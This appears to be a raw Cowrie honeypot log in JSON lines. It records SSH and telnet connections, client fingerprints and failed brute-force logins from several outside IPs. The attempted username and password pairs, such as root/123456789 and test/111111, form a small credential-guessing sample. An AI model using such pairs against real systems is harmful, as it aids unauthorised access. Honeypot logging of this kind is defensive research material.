{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:58.181578Z","src_ip":"181.116.220.251","session":"1834df95e7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123.","message":"login attempt [root/qazwsx123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:58.833921Z","src_ip":"181.116.220.251","session":"1834df95e7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:59.992066Z","src_ip":"181.116.220.251","session":"1834df95e7db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":54008,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e8e161ac626","protocol":"ssh","message":"New connection: 159.65.58.200:54008 (159.203.135.109:22) [session: 9e8e161ac626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:07.297674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:07.506753Z","src_ip":"159.65.58.200","session":"9e8e161ac626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:07.510092Z","src_ip":"159.65.58.200","session":"9e8e161ac626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sokol","password":"123456","message":"login attempt [sokol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:08.640600Z","src_ip":"159.65.58.200","session":"9e8e161ac626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.2930154800415,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:09.873655Z","src_ip":"137.184.5.188","session":"8ad9b6372ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:10.097605Z","src_ip":"159.65.58.200","session":"9e8e161ac626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.05822825431824,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:26.414689Z","src_ip":"170.64.224.25","session":"3de1f129dd3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":47194,"dst_ip":"159.203.135.109","dst_port":22,"session":"e81543fc421d","protocol":"ssh","message":"New connection: 192.169.202.129:47194 (159.203.135.109:22) [session: e81543fc421d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:28.459080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:28.462869Z","src_ip":"192.169.202.129","session":"e81543fc421d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:28.527332Z","src_ip":"192.169.202.129","session":"e81543fc421d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Chr0m1@#Tr0ng!P@ss","message":"login attempt [root/Chr0m1@#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:28.721617Z","src_ip":"192.169.202.129","session":"e81543fc421d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:29.787350Z","src_ip":"192.169.202.129","session":"e81543fc421d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":43356,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e93024892a4","protocol":"ssh","message":"New connection: 91.92.40.4:43356 (10.17.0.5:22) [session: 7e93024892a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:46.987072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:46.991106Z","src_ip":"91.92.40.4","session":"7e93024892a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:47.077793Z","src_ip":"91.92.40.4","session":"7e93024892a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"111111","message":"login attempt [test/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:47.323994Z","src_ip":"91.92.40.4","session":"7e93024892a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:48.406426Z","src_ip":"91.92.40.4","session":"7e93024892a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":15260,"dst_ip":"10.17.0.5","dst_port":22,"session":"21b27a7ef72a","protocol":"ssh","message":"New connection: 147.45.199.80:15260 (10.17.0.5:22) [session: 21b27a7ef72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:51.246522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:51.250214Z","src_ip":"147.45.199.80","session":"21b27a7ef72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:51.348882Z","src_ip":"147.45.199.80","session":"21b27a7ef72a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121232","message":"login attempt [root/121232] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:51.644678Z","src_ip":"147.45.199.80","session":"21b27a7ef72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:01:52.744998Z","src_ip":"147.45.199.80","session":"21b27a7ef72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.96435785293579,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:02:03.141566Z","src_ip":"170.64.224.25","session":"fc18194b0a47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48116,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5e96cb0ca03","protocol":"telnet","message":"New connection: 170.64.224.25:48116 (159.203.135.109:23) [session: e5e96cb0ca03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:02:27.426437Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":57704,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aeaf3acb8b1","protocol":"ssh","message":"New connection: 154.16.115.34:57704 (159.203.135.109:22) [session: 3aeaf3acb8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:02:59.437629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:02:59.441828Z","src_ip":"154.16.115.34","session":"3aeaf3acb8b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:02:59.468558Z","src_ip":"154.16.115.34","session":"3aeaf3acb8b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uni","password":"uni789","message":"login attempt [uni/uni789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:02:59.549037Z","src_ip":"154.16.115.34","session":"3aeaf3acb8b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:00.580267Z","src_ip":"154.16.115.34","session":"3aeaf3acb8b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":51430,"dst_ip":"10.17.0.5","dst_port":22,"session":"84a4c1405763","protocol":"ssh","message":"New connection: 162.241.129.208:51430 (10.17.0.5:22) [session: 84a4c1405763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:01.707194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:01.725317Z","src_ip":"162.241.129.208","session":"84a4c1405763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:01.754209Z","src_ip":"162.241.129.208","session":"84a4c1405763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecuador","password":"Quito#Bitc0!n#Cr@zy!","message":"login attempt [ecuador/Quito#Bitc0!n#Cr@zy!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:01.832962Z","src_ip":"162.241.129.208","session":"84a4c1405763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:02.860984Z","src_ip":"162.241.129.208","session":"84a4c1405763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":41518,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebec6915d0ee","protocol":"ssh","message":"New connection: 80.94.92.55:41518 (10.17.0.5:22) [session: ebec6915d0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:05.751420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:06.594202Z","src_ip":"80.94.92.55","session":"ebec6915d0ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:06.597291Z","src_ip":"80.94.92.55","session":"ebec6915d0ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:09.873710Z","src_ip":"80.94.92.55","session":"ebec6915d0ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:11.444255Z","src_ip":"80.94.92.55","session":"ebec6915d0ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.79604959487915,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:12.222367Z","src_ip":"170.64.224.25","session":"e5e96cb0ca03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":57332,"dst_ip":"10.17.0.5","dst_port":22,"session":"2215da9afd09","protocol":"ssh","message":"New connection: 103.27.238.114:57332 (10.17.0.5:22) [session: 2215da9afd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:15.650157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:15.656239Z","src_ip":"103.27.238.114","session":"2215da9afd09","protocol":"ssh"}
